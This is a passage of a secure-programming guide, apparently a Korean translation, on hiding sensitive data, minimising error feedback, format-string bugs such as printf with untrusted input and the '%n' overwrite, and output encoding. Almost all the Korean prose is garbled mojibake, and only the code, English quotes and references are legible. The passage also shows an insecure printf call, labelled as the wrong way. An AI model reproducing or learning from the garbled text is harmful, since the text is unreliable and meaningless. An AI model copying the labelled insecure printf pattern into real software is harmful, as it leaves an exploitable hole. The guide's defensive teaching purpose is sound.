´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§ÇØ Äí۰¡ »ç¿ëµÉ ¼ö ÀÖ´Ù.

À¥ ¹ö±×´Â º»ÁúÀûÀ¸·Î ÆÄÀÏ Æ÷¸Ë ¼³°è¿Í °ü·ÃµÈ ¹®Á¦ÀÌ´Ù.»ç¿ëÀÚ°¡ ÇÁ¶óÀ̹ö½Ã¸¦ Áß¿äÇÏ°Ô ¿©±ä´Ù¸é ¾Æ¸¶µµ Æ÷ÇÔµÈ ÆÄÀÏÀÇ ÀÚµ¿ÀûÀÎ ´Ù¿î·ÎµùÀ» Á¦ÇÑÇÏ±æ ¿øÇÒ °ÍÀÌ´Ù. ÇѰ¡Áö ¿¹¿Ü´Â ÆÄÀÏ ÀÚü°¡ ´Ù¿îµµµå (À¥ ºê¶ó¿ìÀú¸¦ ÅëÇØ) µÉ ¶§ ÀÏ ¼öµµ ÀÖ´Ù; µ¿ÀÏ À§Ä¡¿¡¼­ µ¿½Ã¿¡ ´Ù¸¥ ÆÄÀϵéÀ» ´Ù¿î·ÎµåÇÏ´Â °ÍÀº »ç¿ëÀÚµéÀ» ºÒ¾ÈÇÏ°Ô ÇÒ °Í °°Áö´Â ¾Ê´Ù.


7.7. ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸¸¦ ¼û°Ü¶ó

±â¹ÐÀ» ´Ù·ç´Â Á¤º¸´Â ÀԷ°ú Ãâ·ÂÁßÀÎ µ¿¾È°ú ½Ã½ºÅÛ¿¡ ÀúÀåµÉ ¶§ ¸ðµÎ ¿³º¸´Â »ç¶÷µé·ÎºÎÅÍ ¼û°ÜÁ®¾ß ÇÑ´Ù. ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸´Â È®½ÇÈ÷ ½Å¿ëÄ«µå ³Ñ¹ö, °èÁ Àܾװú ÁýÁÖ¼Ò¸¦ Æ÷ÇÔÇÏ¸ç ¸¹Àº ¾ÖÇø®ÄÉÀ̼ǿ¡¼­´Â À̸§, À̸ÞÀÏ ÁÖ¼Ò¿Í ´Ù¸¥ °³ÀÎ Á¤º¸µµ ¶ÇÇÑ Æ÷ÇÔÇÑ´Ù.

À¥±â¹Ý ¾ÖÇø®ÄÉÀ̼ǵéÀº ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸¸¦ Æ÷ÇÔÇØ¼­ »ç¿ëÀÚ¿ÍÀÇ ¸ðµç Åë½ÅÀ» ¾ÏÈ£È­ÇØ¾ß ÇÑ´Ù; ÈçÇÑ ¹æ¹ýÀº (SSL ¶Ç´Â TLS À§¿¡¼­ HTTP °¡ ÀÛµ¿ÇÏ´Â) https: ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. HTTP 1.1 ½ºÆå (IEFT RFC 2616 15.1.3 Àý) ¿¡ µû¸£¸é HTTP ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇÏ´Â ¼­ºñ½º »ç¿ëÀÚµéÀº ±â¹ÐÀ» ´Ù·ç´Â µ¥ÀÌŸ¸¦ Àü¼ÛÇϱâ À§ÇØ GET ±â¹Ý ÆûµéÀ» »ç¿ëÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ¿Ö³ÄÇϸé À̰ÍÀÌ µ¥ÀÌŸ°¡ ¿äû-URI ·Î ÀÎÄÚµåµÇ°Ô ÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ¸¹Àº ±âÁ¸ ¼­¹öµé, ÇÁ¶ô½Ã¿Í »ç¿ëÀÚ ¿¡ÀÌÀüÆ®µéÀº ¿äû URI ¸¦ Á¦»ïÀÚ¿¡°Ô º¸ÀÏ ¼ö ÀÖÀ» Áöµµ ¸ð¸£´Â ¾î¶² °÷¿¡ ±â·ÏÇÒ °ÍÀÌ´Ù. ´ë½Å ÀÌ ¸ñÀûÀ» À§ÇØ ÀǵµµÈ POST ±â¹Ý Àü¼ÛÀ» »ç¿ëÇØ¶ó.

ÀÌ·¯ÇÑ ±â¹ÐÀ» ´Ù·ç´Â µ¥ÀÌŸÀÇ µ¥ÀÌŸº£À̽ºµéµµ ¶ÇÇÑ µð½ºÅ©»óÀÇ ÆÄÀϵé°ú °°Àº ¸ðµç ÀúÀå µð¹ÙÀ̽º¿¡¼­ ¾ÏȣȭµÇ¾î¾ß ÇÑ´Ù. ÀÌ·¯ÇÑ ¾Ïȣȭ°¡ ¹°·Ð º¸¾ÈÀûÀÎ ¾ÖÇø®ÄÉÀ̼ÇÀ» ±ú¶ß¸®´Â °ø°ÝÀÚ¿¡ ´ëÇØ¼­´Â º¸È£¸¦ ÇÏÁö ¸øÇϸç ÀÌ´Â ¾ÖÇø®ÄÉÀÌ¼Ç ¶ÇÇÑ ¾ÏȣȭµÈ µ¥ÀÌŸ¿¡ Á¢±ÙÇÏ´Â ¹æ¹ýÀ» °¡Á®¾ß Çϱ⠶§¹®ÀÌ´Ù. ±×·¯³ª ¾Ïȣȭ´Â µ¥ÀÌŸÀÇ ¹é¾÷ µð½ºÅ©¸¦ ¾î¶»°Ôµç ¾ò¾úÁö¸¸ À̵éÀ» º¹È£È­Çϴµ¥ ÇÊ¿äÇÑ Å°¸¦ ¾òÁö¸øÇÑ °ø°ÝÀڵ鿡 ´ëÇØ »ó´çÇÑ º¸È£¸¦ Á¦°øÇÑ´Ù. °ø°ÝÀÚ°¡ ¾ÖÇø®ÄÉÀ̼ÇÀ¸·Î ¾î¶»°Ôµç ħÀÔÇÏ´Â °ÍÀÌ ¾Æ´Ï¶ó ÀúÀåµÈ µ¥ÀÌŸ¸¦ º¸±â¿¡ ±×Àú ÃæºÐÇÒ¸¸Å­ ºÎºÐÀûÀ¸·Î °ü·Ã ½Ã½ºÅÛ³»·Î ħÀÔÇÑ´Ù¸é ¾Ïȣȭ´Â ¶ÇÇÑ »ó´çÇÑ º¸È£ ¹æ¹ýÀ» Á¦°øÇÑ´Ù - °ø°ÝÀÚ´Â µ¥ÀÌŸ¸¦ ¾ò±â À§ÇØ ¾Ïȣȭ ¾Ë°í¸®µëÀ» ±ú¶ß·Á¾ß ÇÑ´Ù. µ¥ÀÌŸ°¡ º»ÀÇ¾Æ´Ï°Ô (¿¹, ÄÚ¾î ÆÄÀÏ) Àü´ÞµÉ ¼ö ÀÖ´Â ¸¹Àº »óȲÀÌ Àִµ¥ ¾Ïȣȭ´Â ¶ÇÇÑ À̸¦ ¿¹¹æÇÑ´Ù. Á¾Á¾ ¼­¹ö ÀÚü°¡ ÆÄ±«µÇ°Å³ª ±ú¶ß·ÁÁú ¼ö Àֱ⠶§¹®¿¡ ¾Ïȣȭ°¡ »ý°¢ÇÏ´Â ¸¸Å­ °­·ÂÇÑ º¸È£ ¹æ¹ýÀº ¾Æ´Ï¶ó´Â °ÍÀº ¾ð±ÞÇÒ¸¸ÇÑ °¡Ä¡°¡ ÀÖ´Ù.


8장. Á¤º¸¸¦ ½ÅÁßÇÏ°Ô µÇµ¹·ÁÁà¶ó

 

Do not answer a fool according to his folly, or you will be like him yourself.

 Proverbs 26:4 (NIV)

8.1. Çǵå¹éÀ» ÃÖ¼ÒÈ­ÇØ¶ó

½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ¿¡°Ô ¸¹Àº Á¤º¸¸¦ Á¦°øÇÏÁö ¸¶¶ó; °£´ÜÈ÷ ¼º°ø ¶Ç´Â ½ÇÆÐ·Î Ç¥ÇöÇÏ°í ½ÇÆÐÇÑ °æ¿ì ´ÜÁö ½ÇÆÐÇß´Ù°í ¸»ÇÏ°í ½ÇÆÐ ¿øÀο¡ ´ëÇÑ Á¤º¸¸¦ ÃÖ¼ÒÈ­ÇØ¶ó. °¨»ç½Ã ´Ü¼­°¡ µÉ ¼ö ÀÖ´Â ±â·ÏµéÀ» À§ÇØ ¼¼ºÎÀûÀÎ Á¤º¸¸¦ ÀúÀåÇØ¶ó. ¿¹¸¦ µé¸é ´ÙÀ½°ú °°´Ù:

  • ÇÁ·Î±×·¥ÀÌ ÀÏÁ¾ÀÇ »ç¿ëÀÚ ÀÎÁõÀ» ÇÊ¿ä·ÎÇϸé (¿¹, ³×Æ®¿öÅ© ¼­ºñ½º ¶Ç´Â ·Î±×ÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ´Â °æ¿ì) »ç¿ëÀÚµéÀÌ ÀÎÁõ¹Þ±â Àü¿¡´Â °¡´ÉÇÑ ÀûÀº Á¤º¸¸¦ À̵鿡°Ô Á¦°øÇضó. ƯÈ÷ ÀÎÁõÀü¿¡ ÇÁ·Î±×·¥ÀÇ ¹öÀü ³Ñ¹ö¸¦ µå·¯³»Áö ¸¶¶ó. ±×·¸Áö ¾Ê´Ù¸é ÀÌ ¹öÀüÀÇ ÇÁ·Î±×·¥ÀÌ °ø°Ý¿¡ Ãë¾àÇÏ´Ù°í ¾Ë·ÁÁø °æ¿ì ÀÌ ¹öÀüÀ» °»½ÅÇÏÁö ¾ÊÀº »ç¿ëÀÚµéÀº °ø°ÝÀڵ鿡°Ô ÀڽŵéÀº °ø°Ý¿¡ Ãë¾àÇÏ´Ù°í ±¤°íÇÏ´Â °ÍÀ̳ª ¸¶Âù°¡ÁöÀÌ´Ù.

  • ÇÁ·Î±×·¥ÀÌ ÆÐ½º¿öµå°¡ ÇÊ¿äÇÏ´Ù¸é À̸¦ ±×´ë·Î ´Ù½Ã ³ªÅ¸³ª°Ô ÇÏÁö¸¶¶ó; ÀÌ´Â ÆÐ½º¿öµå°¡ µå·¯³¯ ¼ö ÀÖ´Â ´Ù¸¥ ¹æ¹ýÀ» ¸¸µç´Ù.


8.2. ÁÖ¼®À» Æ÷ÇÔÇÏÁö ¸¶¶ó

Á¤º¸¸¦ ¹ÝȯÇÒ ¶§ ¹Ýµå½Ã À̸¦ ¹Þ´Â »ç¿ëÀÚ°¡ ÁÖ¼®À» º¸±â¸¦ ¿øÇÏÁö ¾Ê´Â´Ù¸é ¾î¶°ÇÑ ÁÖ¼®µµ Æ÷ÇÔÇÏÁö ¸¶¶ó. ÀÌ´Â HTML °°Àº ÆÄÀϵéÀ» »ý¼ºÇÏ´Â À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ´ëÇØ Ưº°ÇÑ ¹®Á¦ÀÌ´Ù. ´ë°³ À¥ ¾ÖÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¡¸ÓµéÀº ±×µéÀÇ ÇÁ·Î±×·¥¿¡ ÁÖ¼®À» ÷°¡ÇÏ±æ ¹Ù¶óÁö¸¸ (ÀÌ´Â ÈǸ¢ÇÑ ÀÛ¾÷ÀÌ´Ù) ´ÜÁö ÁÖ¼®À» Äڵ峻¿¡ µÎ´Â ´ë½Å »ç¿ëÀÚ¿¡°Ô ¹ÝȯµÇ´Â »ý¼º ÆÄÀÏ (º¸Åë HTML ¶Ç´Â XML) ÀÇ ÇÑ ºÎºÐÀ¸·Î ÁÖ¼®ÀÌ Æ÷ÇÔµÇ°Ô Ç϶ó. ¹®Á¦´Â ÀÌ·¯ÇÑ ÁÖ¼®µéÀÌ ¶§¶§·Î ½Ã½ºÅÛÀÌ °ø°ÝÀ» µ½´Â ¹æ½ÄÀ¸·Î ÀÛµ¿ÇÒ ¼ö ÀÖ´Â ¹æ¹ý¿¡ ´ëÇÑ ÅëÂû·ÂÀ» Á¦°øÇÑ´Ù´Â °ÍÀÌ´Ù.


8.3. ¿ÏÀüÇÑ/¹«¹ÝÀÀÀÇ Ãâ·ÂÀ» ´Ù·ï¶ó

»ç¿ëÀÚ°¡ Àڽſ¡°Ô µÇµ¹¾Æ¿À´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ Ãâ·Â ä³ÎÀ» ¹æÇØÇϰųª ÀÀ´äÇÏÁö ¾Ê°Ô ÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î, À¥ ºê¶ó¿ìÀú°¡ ÀǵµÀûÀ¸·Î Á¤ÁöµÇ°Å³ª ÀÚ½ÅÀÇ TCP/IP ä³Î ÀÀ´äÀ» Áö¿¬½Ãų ¼ö Àִµ¥ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº ÀÌ·± °æ¿ì¸¦ ´Ù·ï¾ß ÇÏ¸ç Æ¯È÷ ¼­ºñ½º ºÎÀÎ °ø°ÝÀÇ ±âȸ¸¦ ¸¸µéÁö ¾Êµµ·Ï ·ÎÅ©¸¦ »¡¸® ÇØÁ¦ (µÇµµ·Ï ÀÀ´äÀü¿¡) ÇØ¾ßÇÑ´Ù. ´Ã ¿ÜºÎ·Î ³ª°¡´Â ³×Æ®¿öÅ© ÁöÇâ ¾²±â ¿äû¿¡ ´ëÇØ ŸÀӾƿôÀ» ¼³Á¤Çضó.


8.4. µ¥ÀÌŸ Æ÷¸ËÆÃÀ» Á¦¾îÇØ¶ó (¹®ÀÚ¿­ Æ÷¸Ë)

ÄÄÇ»ÅÍ ¾ð¾î¿¡¼­ ¸¹Àº Ãâ·Â ·çƾµéÀº »ý¼ºµÇ´Â Æ÷¸ËÀ» Á¦¾îÇÏ´Â ¸Å°³º¯¼ö¸¦ °®°í ÀÖ´Ù. C ¿¡¼­ °¡Àå ¸í¹éÇÑ ¿¹´Â printf(), sprintf(), fprintf() µîÀ» Æ÷ÇÔÇÑ printf() ·çƾ °è¿­µé·Î ´Ù¸¥ ¿¹´Â ½Ã½ºÅÛ ·Î±× Á¤º¸ ÀÛ¼º syslog() ¿Í ÇÁ·Î¼¼½º ½Äº°ÀÚ Á¤º¸¸¦ Ç¥½ÃÇϴµ¥ »ç¿ëµÇ´Â ¹®ÀÚ¿­ ¼³Á¤ setproctitle() ÀÌ´Ù. ``err" ¶Ç´Â ``warn" À¸·Î ½ÃÀÛÇϰųª ``log" ¸¦ Æ÷ÇÔÇϰųª ¶Ç´Â "printf" ·Î ³¡³ª´Â À̸§À» °®´Â ¸¹Àº ÇÔ¼öµéÀº °í·ÁÇÒ¸¸ÇÑ °¡Ä¡°¡ ÀÖ´Ù. ÆÄÀ̽㿡´Â ¹®ÀÚ¿­¿¡ ´ëÇØ ºñ½ÁÇÑ ¹æ½ÄÀ¸·Î Æ÷¸ËÆÃÀ» Á¦¾îÇÏ´Â "%" ¿¬»êÀÌ ÀÖ´Ù. ¸¹Àº ÇÁ·Î±×·¥µé°ú ¶óÀ̺귯¸®µéÀº ´ë°³ ³»Àå ·çÆ¾ È£Ãâ ¹× Ãß°¡ÀûÀÎ ÇÁ·Î¼¼½Ì (¿¹, glib ÀÇ g_snprintf() ·çƾ) À» ÇÔÀ¸·Î½á Æ÷¸ËÆÃ ÇÔ¼öµéÀ» Á¤ÀÇÇÑ´Ù.

¶æ¹Û¿¡µµ ¸¹Àº »ç¶÷µéÀº ÀÌ·¯ÇÑ Æ÷¸ËÆÃ ´É·ÂÀÇ Á߿伺À» Àذí ÀÖÀ¸¸ç ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚµé·ÎºÎÅÍÀÇ µ¥ÀÌŸ¸¦ Æ÷¸ËÆÃ ¸Å°³º¯¼ö·Î »ç¿ëÇϰí ÀÖ´Â °Í °°´Ù. ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀڷκÎÅÍÀÇ ÇÊÅ͸µµÇÁö ¾ÊÀº µ¥ÀÌŸ¸¦ Æ÷¸Ë ¸Å°³º¯¼ö·Î Àý´ë·Î »ç¿ëÇÏÁö ¸¶¶ó. ¾Æ¸¶µµ ÀÌ´Â ´ÙÀ½ ¿¹¿¡¼­ °¡Àå Àß º¼ ¼ö ÀÖ´Ù:

  /* À߸øµÈ ¹æ½Ä: */
  printf(string_from_untrusted_user);
  /* ¿ÇÀº ¹æ½Ä: */
  printf("%s", string_from_untrusted_user); /* ¾ÈÀüÇÏ´Ù */
  fputs(string_from_untrusted_user); /* ´Ü¼ø ¹®ÀÚ¿­ÀÇ °æ¿ì ´õ¿í ÁÁ´Ù */

±×·¸Áö ¾ÊÀ¸¸é °ø°ÝÀÚ´Â Æ÷¸ËÆÃ ¹®ÀÚ¿­À» ÁÖÀDZí°Ô ¼±ÅÃÇÔÀ¸·Î½á ¸ðµç Á¾·ùÀÇ ¾Ç¿µÇâÀ» ÀÏÀ¸Å³ ¼ö Àִµ¥ C ¿¡¼­ printf() ÀÇ °æ¿ì°¡ ÁÁÀº ¿¹ÀÌ´Ù. printf() ¿¡¼­ »ç¿ëÀÚ Á¦¾î Æ÷¸Ë ¹®ÀÚ¿­À» ¾î¶»°Ôµç ¾Ç¿ëÇÏ´Â ¸¹Àº ¹æ¹ýµéÀÌ Àִµ¥ À̵é·Î´Â ±ä Æ÷¸ËÆÃ ¹®ÀÚ¿­ »ý¼º¿¡ ÀÇÇÑ ¹öÆÛ ¿À¹ö·± (ÀÌ´Â °ø°ÝÀÚ·Î ÇÏ¿©±Ý ÇÁ·Î±×·¥À» ¿ÏÀüÈ÷ Á¦¾îÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù), Àü´ÞµÇÁö ¾ÊÀº ¸Å°³º¯¼ö¸¦ »ç¿ëÇÏ´Â º¯È¯ ¼±¾ð (¿¹±âÄ¡ ¾ÊÀº µ¥ÀÌŸ¸¦ »ðÀÔ½ÃŲ´Ù) °ú ÀüÇô ¿¹»óÄ¡ ¸øÇÑ °á°ú°ªµéÀ» »êÃâÇÏ´Â Æ÷¸Ë »ý¼ºÇϱâ (°¡·É À§ÇèÇÑ µ¥ÀÌŸ¸¦ ¾Õ ¶Ç´Â µÚ¿¡ µ¡ºÙÀÓÀ¸·Î½á °¡´ÉÇѵ¥ ÃßÈÄ »ç¿ë½Ã ¹®Á¦¸¦ ÀÏÀ¸Å²´Ù) µéÀÌ ÀÖ´Ù. ƯÈ÷ ³­Ã³ÇÑ °æ¿ì´Â printf ÀÇ "%n" º¯È¯ ¼±¾ðÀ¸·Î ÀÌ´Â Áö±Ý±îÁö ÀÛ¼ºµÈ ¹®ÀÚµéÀÇ ¼ö¸¦ Æ÷ÀÎÅÍ Àμö³»·Î ¾²´Âµ¥ °ø°ÝÀÚ´Â À̸¦ ¾Ç¿ëÇÏ¿© ÀμâÇÒ °ªÀ» °ãÃľµ ¼ö ÀÖ´Ù. °ø°ÝÀÚ´Â ½ÇÁ¦·Î Àü´ÞµÇÁö ¾Ê´Â ¸Å°³º¯¼ö¸¦ ÁöÁ¤ÇÒ ¼ö Àֱ⠶§¹®¿¡ °ÅÀÇ ÀÓÀÇÀÇ À§Ä¡¿¡ ¾ðÁ¦³ª °ãÃľµ ¼ö ÀÖ´Ù. ¸¹Àº ³í¹®µéÀº ÀÌ·¯ÇÑ °ø°ÝµéÀ» ´õ¿í ÀÚ¼¼ÇÏ°Ô ³íÀÇÇϴµ¥ ¿¹¸¦ µé¾î Avoiding security holes when developing an application - Part 4: format strings¸¦ º¸¶ó.

¸¹Àº °æ¿ì °á°úµéÀº »ç¿ëÀÚ¿¡°Ô µÇµ¹·ÁÁö±â ¶§¹®¿¡ ÀÌ °ø°ÝÀº ½ºÅÿ¡ ´ëÇÑ ³»ºÎ Á¤º¸¸¦ µå·¯³»´Âµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌ Á¤º¸´Â ÃßÈÄ StackGuard ¿Í °°Àº ½ºÅà º¸È£ ½Ã½ºÅÛÀ» ¶Õ´Âµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù; StackGuard ´Â °ø°ÝÀ» ŽÁöÇϱâ À§ÇØ »ó¼ö ``canary" °ªµéÀ» »ç¿ëÇϴµ¥ ½ºÅÃÀÇ ³»¿ëµéÀÌ Ç¥½ÃµÈ´Ù¸é canary ÀÇ ÇöÀç °ªÀÌ ³ëÃâµÇ¾î °ø°Ý¿¡ Ãë¾àÇÒ °ÍÀÌ´Ù.

Æ÷¸ËÆÃ ¹®ÀÚ¿­Àº ±¹Á¦È­¿¡ ´ëÇÑ °Ë»ö (look) À» ±¸ÇöÇϱâ À§ÇÑ ÇÔ¼ö È£Ãâ (gettext's _() ¸¦ ÅëÇØ) À» µÉ ¼ö ÀÖ´Â ÇÑ Æ÷ÇÔÇÏ¿© °ÅÀÇ ¾ðÁ¦³ª »ó¼ö ¹®ÀÚ¿­ÀÌ¿©¾ß ÇÑ´Ù. ÀÌ °Ë»öÀº ÇÁ·Î±×·¥ÀÌ Á¦¾îÇÏ´Â °ªµé·Î ÇÑÁ¤µÇ¾î¾ß ÇÔÀ» ÁÖ¸ñÇØ¶ó, Áï »ç¿ëÀÚ´Â ÇÁ·Î±×·¥ÀÌ Á¦¾îÇÏ´Â ¸Þ½ÃÁö ÆÄÀϵé·ÎºÎÅ͸¸ ¼±ÅÃÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù. »ç¿ëÀÚ µ¥ÀÌŸ¸¦ »ç¿ëÇϱâ Àü¿¡ À̸¦ ÇÊÅ͸µÇÏ´Â °Í ([A-Za-z0-9] ¿Í °°Àº Æ÷¸Ë ¹®ÀÚ¿­¿¡ ´ëÇØ ÇÕ¹ýÀûÀÎ ¹®ÀÚµéÀ» ¿­°ÅÇÏ´Â ÇÊÅ͸¦ ¼³°èÇÔÀ¸·Î½á) Àº °¡´ÉÇÏÁö¸¸ º¸Åë »ó¼ö Æ÷¸Ë ¹®ÀÚ¿­ ¶Ç´Â fput() À» ´ë½Å »ç¿ëÇÔÀ¸·Î½á ¹®Á¦¸¦ ´Ü¼øÈ÷ ¿¹¹æÇÏ´Â °ÍÀÌ ÀϹÝÀûÀ¸·Î ´õ¿í ÁÁ´Ù. ÀúÀÚ´Â À̸¦ "Ãâ·Â" ¹®Á¦·Î ¿­°ÅÇßÁö¸¸ Ãâ·Â ·çƾµéÀÌ ÆÄÀÏ¿¡ ÀúÀåÇϰųª ¶Ç´Â snprintf() ¸¦ ÅëÇØ ±×¿Í °°Àº ³»ºÎ »óŸ¦ »ý¼ºÇÒ ¼öµµ Àֱ⠶§¹®¿¡ ÀÌ´Â Ãâ·ÂÀü¿¡ ÇÁ·Î±×·¥¿¡ ³»ºÎÀûÀ¸·Î ¹®Á¦¸¦ ÀÏÀ¸Å³ ¼ö ÀÖ´Ù.

º¸¾È ¹®Á¦¸¦ ¾ß±âÇÏ´Â ÀÔ·Â Æ÷¸ËÆÃ ¹®Á¦´Â »ç¿ëµÇ°í ÀÖÁö ¾ÊÀº °¡´É¼ºÀº ¾Æ´Ñµ¥ ÀÌ ¾àÁ¡À» ÀÌ¿ëÇØ ¾Ç¿ëÇÑ ¿¹¸¦ CERT Advisory CA 2000-13 ¿¡¼­ º¸¶ó. ÀÌ·¯ÇÑ ¹®Á¦°¡ ¾î¶»°Ô ¾Ç¿ëµÉ ¼ö ÀÖ´Â Áö¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â Bugtraq ÀÇ 2000³â 6¿ù 18ÀÏ ÆÇ¿¡ ÃâÆÇµÈ Pascal Bouchareine ÀÇ "[Paper] Format bugs" ¶ó´Â À̸ÞÀÏ ±â»ç¸¦ º¸¶ó. 2000³â 12¿ù ÇöÀç gcc ÄÄÆÄÀÏ·¯ °³¹ß ¹öÀüÀº °³¹ßÀÚ°¡ ÀÌ·¯ÇÑ ¹®Á¦µéÀ» ÇÇÇÒ ¼ö ÀÖµµ·Ï ºñº¸¾ÈÀûÀÎ Æ÷¸Ë ¹®ÀÚ¿­ »ç¿ë¿¡ ´ëÇØ °æ°í ¸Þ½ÃÁö¸¦ Áö¿øÇϰí ÀÖ´Ù.

¹°·Ð ÀÌ ¸ðµÎ´Â ±¹Á¦È­ °Ë»öÀÌ ½ÇÁ¦ º¸¾ÈÀûÀÎÁö ¾Æ´ÑÁö¿¡ ´ëÇÑ ³íÁ¡À» ±³¹¦È÷ ÇÇÇÏ´Â °ÍÀε¥ °¢ÀÚÀÇ ±¹Á¦È­ °Ë»ö ·çƾµéÀ» ÀÛ¼ºÇÏ·Á¸é ¹Ýµå½Ã ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ´Â ´ÜÁö ÇÕ¹ýÀûÀÎ ·ÎÄÉÀϸ¸ ÁöÁ¤ÇÒ ¼ö ÀÖÀ¸¸ç ÀÓÀÇÀÇ °æ·Î¿Í °°Àº °ÍµéÀ» ÁöÁ¤ÇÒ ¼ö ¾øµµ·Ï ÇØ¶ó.

ºÐ¸íÈ÷ °¢ÀÚ´Â ±¹Á¦È­¸¦ ÅëÇØ »ý¼ºµÈ ¹®ÀÚ¿­À» ¹ÏÀ» ¼ö ÀÖ´Â ¹®ÀÚ¿­·Î Á¦ÇÑÇÏ±æ ¿øÇϴµ¥ ±×·¸Áö ¾Ê´Ù¸é °ø°ÝÀÚ´Â ÀÌ ´É·ÂÀ» »ç¿ëÇØ Æ÷¸Ë ¹®ÀÚ¿­¿¡¼­ÀÇ ¾àÁ¡, ƯÈ÷ C/C++ ÇÁ·Î±×·¥¿¡¼­ÀÇ ¾àÁ¡À» ¾Ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â Bugtraq ³»ÀÇ ÀïÁ¡À̾ú´Âµ¥ (2000³â 6¿ù 26 ÀÏ ¿Ã·ÁÁø John Levon ÀÇ Bugtraq °Ô½Ã¹°À» º¸¶ó) ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ À§Çؼ­´Â 4.7.3절 ¿¡¼­ ÇÕ¹ýÀûÀÎ ¾ð¾î °ªµé¸¸À» »ç¿ëÀÚ°¡ ¼±ÅÃÇϵµ·Ï Çã¿ëÇÏ´Â °Í¿¡ ´ëÇÑ ³íÀǸ¦ º¸¶ó.

½ÇÁ¦·Î ÇÁ·Î±×·¡¹Ö ¹ö±×ÀÏÁö¶óµµ ´Ù¸¥ ±¹°¡µéÀº ´Ù¸¥ ¹æ½ÄÀ¸·Î ¼ýÀÚµéÀ» Ç¥½ÃÇÑ´Ù°í ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ Àִµ¥ ƯÈ÷ ¸¶Ä§Ç¥ (.) ¿Í ½°Ç¥ (,) ¸ðµÎ ¼Ò¼öºÎ·ÎºÎÅÍ Á¤¼ö¸¦ ºÐ¸®Çϱâ À§ÇØ »ç¿ëµÇ°í ÀÖ´Ù. µ¥ÀÌŸ¸¦ ÀúÀå ¶Ç´Â ÀûÀçÇÏ·Á¸é ¹Ýµå½Ã »ç¿ë ·ÎÄÉÀÏÀÌ µ¥ÀÌŸ 󸮸¦ °£¼·ÇÏÁö ¾Êµµ·Ï ÇÒ Çʿ䰡 ÀÖ´Ù. ±×·¸Áö ¾Ê´Ù¸é ÀúÀåµÈ µ¥ÀÌŸ¿Í °Ë»öµÈ µ¥ÀÌŸ°¡ ´Ù¸¥ ºÐ¸®ÀÚ¸¦ »ç¿ëÇÒ °ÍÀ̱⠶§¹®¿¡ ÇÁ¶û½º¾î »ç¿ëÀÚ¿Í ¿µ¾î »ç¿ëÀÚ°¡ µ¥ÀÌŸ¸¦ ±³È¯ÇÒ ¼ö ¾øÀ» ¼öµµ ÀÖ´Ù. À̰ÍÀÌ º¸¾È ¹®Á¦·Î »ç¿ëµÇ°í ÀÖ´Â Áö´Â ¸ð¸£Áö¸¸ »ó»óÇÒ ¼ö ÀÖ´Â ÀÏÀÌ´Ù.


8.5. Ãâ·Â¿¡¼­ ¹®ÀÚ ÀÎÄÚµùÀ» Á¦¾îÇØ¶ó

ÀϹÝÀûÀ¸·Î º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥µéÀº ±×µéÀÇ ¸ðµç °¡Á¤µé¿¡ Ŭ¶óÀÌ¾ðÆ®µéÀ» µ¿±âÈ­½ÃÅ´À» º¸ÁõÇØ¾ß ÇÑ´Ù. ´ë°³ À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ¿µÇâÀ» ¹ÌÄ¡´Â ÇѰ¡Áö ¹®Á¦´Â Ãâ·ÂÀÇ ¹®ÀÚ ÀÎÄÚµù ÁöÁ¤À» Àش´ٴ °ÍÀÌ´Ù. ÀÌ´Â ¸ðµç µ¥ÀÌŸ°¡ ½Å·ÚµÈ Ãâó·ÎºÎÅÍ ¿Â´Ù¸é ¹®Á¦°¡ µÇÁö ¾ÊÁö¸¸ µ¥ÀÌŸ Áß ÀϺΰ¡ ½Å·ÚµÇÁö ¾ÊÀº Ãâó·ÎºÎÅÍ ¿Â´Ù¸é º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ¿¹»óÇÑ °Í°ú ´Ù¸¥ ÀÎÄÚµùÀ» »ç¿ëÇÏ´Â ½Å·ÚµÇÁö ¾ÊÀº Ãâó·ÎºÎÅÍÀÇ µ¥ÀÌŸ°¡ ½ÇÁ¦ µ¥ÀÌŸ³»¿¡ ¸ô·¡ »ðÀ﵃ ¼öµµ ÀÖ´Ù. ÀÌ´Â cross-site malicious content °ø°Ý¿¡ ´ëÇØ º¸¾È ±¸¸ÛÀ» ¸¸µå´Â °ÍÀ¸·Î ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 4.9절 ¸¦ º¸¶ó.

CERT's tech tip on malicious code mitigation Àº ÁöÁ¤µÇÁö ¾ÊÀº ¹®ÀÚ ÀÎÄÚµù ¹®Á¦¸¦ ¸Å¿ì Àß ¼³¸íÇϴµ¥ ÀÌ´Â ´ÙÀ½°ú °°´Ù:

